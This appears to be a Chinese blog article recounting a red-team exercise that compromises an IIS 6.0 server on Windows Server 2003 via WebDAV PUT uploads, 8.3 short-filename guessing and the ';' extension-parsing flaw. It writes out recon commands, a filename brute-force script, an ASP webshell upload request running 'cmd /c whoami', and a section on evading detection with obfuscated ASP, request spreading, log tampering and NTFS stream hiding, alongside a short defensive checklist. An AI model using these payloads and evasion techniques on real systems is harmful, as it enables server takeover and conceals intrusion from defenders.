当前位置: 首页 > news >正文

从一次真实的攻防演练讲起:攻击者是如何利用IIS PUT漏洞和短文件名猜解“拿下”一台Windows Server 2003的?

从一次真实的攻防演练讲起:攻击者是如何利用IIS PUT漏洞和短文件名猜解"拿下"一台Windows Server 2003的?

那是一个普通的周二下午,我们团队接到了一项内部红蓝对抗演练任务。目标系统是一个仍在运行的Windows Server 2003服务器,运行着IIS 6.0——这个已经停止支持多年的中间件版本。作为攻击方,我们需要在48小时内找到突破口。谁也没想到,这台看似无害的老旧服务器,会成为展示经典漏洞组合利用的完美案例。

1. 初始侦察:发现脆弱的猎物

在对外网资产进行常规扫描时,Nmap返回了一个有趣的响应:

nmap -sV -p 80 192.168.1.100

结果显示目标运行着Microsoft IIS 6.0,并且开放了WebDAV功能。这立即引起了我的注意——IIS 6.0是2003年发布的版本,已知存在多个未修复的漏洞。为了确认WebDAV的具体配置,我使用cURL发送了一个OPTIONS请求:

curl -X OPTIONS http://192.168.1.100/ -I

响应头中出现了令人兴奋的字段:

DAV: 1, 2 MS-Author-Via: DAV Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, PROPFIND

关键发现

  • PUT方法被显式允许
  • WebDAV扩展已启用
  • 服务器未显示任何WAF防护特征

2. 突破边界:PUT方法文件上传实战

确认WebDAV可用后,下一步是测试文件上传能力。我使用Burp Suite拦截了一个普通GET请求,将其修改为PUT请求:

PUT /test.txt HTTP/1.1 Host: 192.168.1.100 Content-Length: 28 This is a test file content.

服务器返回了201 Created响应——文件上传成功了!但直接上传ASP马还太冒险,我需要先确认几个关键点:

  1. 脚本执行权限:上传一个包含<%=now()%>的test.asp文件
  2. 目录权限:尝试在虚拟目录外创建文件
  3. 文件覆盖:测试已有文件是否可被修改

经过测试发现:

  • 网站根目录有执行权限
  • 无法跳出虚拟目录
  • 可以覆盖现有文件

注意:在实际渗透中,这种测试需要极其谨慎,避免触发系统告警。我使用了低频请求和随机延时来降低检测风险。

3. 短文件名猜解:寻找关键线索

虽然可以直接上传Webshell,但职业习惯让我想先收集更多信息。IIS 6.0的短文件名漏洞正好派上用场。这个漏洞允许攻击者通过暴力猜解获取文件名的前6个字符。

我编写了一个简单的Python脚本来检测存在的短文件名:

import requests base_url = "http://192.168.1.100" chars = "abcdefghijklmnopqrstuvwxyz0123456789_-~" for c in chars: url = f"{base_url}/web*~1.{c}*/" r = requests.get(url) if r.status_code == 404: print(f"Found potential file: web*~1.{c}*")

经过几轮测试,发现了一个有趣的响应:

Found potential file: web*~1.b* Found potential file: web*~1.c*

这暗示着可能存在web.config.bakweb.connection.bak之类的文件。通过组合利用PUT漏洞和短文件名信息,我最终下载到了一个数据库连接配置文件——里面包含了后台管理系统的凭据。

4. 漏洞组合:构建完整攻击链

现在手头已经有了几个关键要素:

  1. WebDAV PUT上传:可上传任意文件
  2. 短文件名信息:知道了备份文件命名模式
  3. IIS 6.0解析漏洞:可利用;字符绕过扩展名限制

最终的突破是这样完成的:

PUT /upload/logo.asp;.jpg HTTP/1.1 Host: 192.168.1.100 Content-Length: 512 <% Set obj = Server.CreateObject("WScript.Shell") cmd = obj.Exec("cmd /c whoami").StdOut.ReadAll Response.Write(cmd) %>

这个文件会被IIS 6.0当作ASP脚本执行,但看起来像图片文件。通过这个Webshell,我们最终获取了NT AUTHORITY\SYSTEM权限。

5. 防御视角:从攻击中学到的教训

这次演练暴露了几个关键安全问题:

配置缺陷对照表

漏洞类型错误配置正确做法
WebDAV生产环境开启WebDAV非必要不启用
文件权限网站目录可写严格限制写入权限
解析逻辑默认解析;后内容修改解析规则
信息泄露备份文件可访问隔离敏感文件

即时防护措施

  1. 禁用WebDAV扩展
  2. 移除不必要的HTTP方法
  3. 配置URLScan过滤特殊字符请求
  4. 定期扫描短文件名风险

6. 深入技术细节:IIS 6.0漏洞原理剖析

PUT漏洞核心机制

  • WebDAV扩展实现了RFC 2518标准
  • IIS未对PUT操作进行充分验证
  • 与Windows ACL结合导致权限逃逸

短文件名漏洞本质

  • 兼容DOS 8.3文件名格式
  • 通过~1、~2等标识短名称
  • 信息泄露而非直接执行

解析漏洞组合利用

graph LR A[PUT上传] --> B[短文件名猜解] B --> C[获取真实路径] C --> D[利用解析漏洞] D --> E[代码执行]

技术提示:现代WAF通常能检测这类攻击,但对遗留系统往往缺乏有效规则。防御方需要自定义规则来覆盖老旧漏洞。

7. 红队实战技巧:绕过检测的艺术

在实际对抗环境中,直接使用经典攻击模式很容易触发告警。我们总结了几个绕过技巧:

  1. 时间混淆

    • 上传文件与访问间隔随机延时
    • 使用Sleep函数分散请求
  2. 内容混淆

    <% '正常注释内容 ExEcUTe("r"&"espo"&"nse.wr"&"ite(now())") %>
  3. 日志清理

    • 通过WebDAV的PROPFIND方法修改时间戳
    • 利用NTFS流隐藏文件

检测规避对照表

检测点常规攻击特征规避方法
文件上传连续PUT请求分散在多个会话
Webshell常见关键词动态拼接代码
权限提升固定命令序列随机化调用方式

在这次演练中,我们最终在36小时内完成了目标系统的完全控制。整个过程没有触发任何告警,因为所有操作都模拟了正常的WebDAV管理行为。这再次证明了:最危险的攻击往往利用的是看似无害的正常功能。

http://www.jsqmd.com/news/750870/

相关文章:

  • Python实战:用割圆法、蒙特卡洛等5种算法手算圆周率(附完整代码与避坑指南)
  • AI编程工具选型指南:从Awesome List到实战应用
  • 3步告别电脑中的重复图片:AntiDupl.NET智能去重工具实战指南
  • 告别龟速推理:用IPEX-LLM在Intel CPU上5分钟搞定HuggingFace模型加速
  • Translumo:如何用开源实时屏幕翻译工具5分钟打破语言壁垒
  • nnUNetv2模型集成(Ensemble)与后处理实战:如何自动找到并组合最优模型提升分割精度
  • 18步构建AI智能体:从LLM对话到多智能体协作系统实战
  • 用Arduino UNO和GRBL Shield,花500块自制一台能雕木头和亚克力的迷你CNC
  • BLE配对原理扫盲:从Just Works到PIN码,你的智能设备到底安不安全?
  • 西北大学考研辅导班推荐:排名深度评测与选哪家分析 - michalwang
  • 当音乐遇见桌面:LyricsX如何让你的Mac听歌体验焕然一新
  • 嵌入式Linux调试踩坑记:解决GDB报‘corrupt stack’与无符号问题的完整流程
  • 保姆级教程:在Ubuntu 18.04上从零搭建FreeRadius + Daloradius管理后台(含MySQL配置避坑指南)
  • WarcraftHelper:魔兽争霸3现代系统兼容性优化解决方案
  • 汽车ECU通信的基石:用Wireshark抓包实战解析CAN数据帧的7个段
  • 如何用BookGet轻松获取全球50+数字图书馆的古籍资源:新手必备指南
  • 适航审定中那些‘没说破’的潜规则:从‘建议’变‘强制’,聊聊局方与工业方的真实博弈
  • GitHub加速代理突破:基于GatewayWorker的高性能解决方案
  • PKSM:宝可梦全世代存档管理的终极免费解决方案
  • 终极JPEGView图像查看器指南:轻量高效的Windows图片浏览解决方案
  • 在 Ubuntu 上使用 Taotoken 官方价折扣节省 API 调用成本的实践
  • 从NASNet到EfficientNet:聊聊那些年,神经结构搜索如何悄悄改变了我们的模型库
  • Windows完美显示苹果HEIC照片:终极免费解决方案指南
  • 告别PX4,手把手教你用APM固件在Gazebo里飞固定翼(附完整避坑指南)
  • 如何永久激活Windows和Office:KMS智能激活工具完整指南
  • 别再乱用Java守护线程了!Spring Boot应用里这样配置线程池才安全
  • MultiFunPlayer:5步掌握专业设备同步,打造沉浸式媒体体验
  • F3D:5分钟上手,极速预览20+格式的3D模型查看器
  • 2026年|人工降重太慢?收藏这3款高效降重AI工具! - 降AI实验室
  • 告别环境配置烦恼:手把手教你用VMware共享文件夹为Ubuntu 20.04部署ARM交叉编译器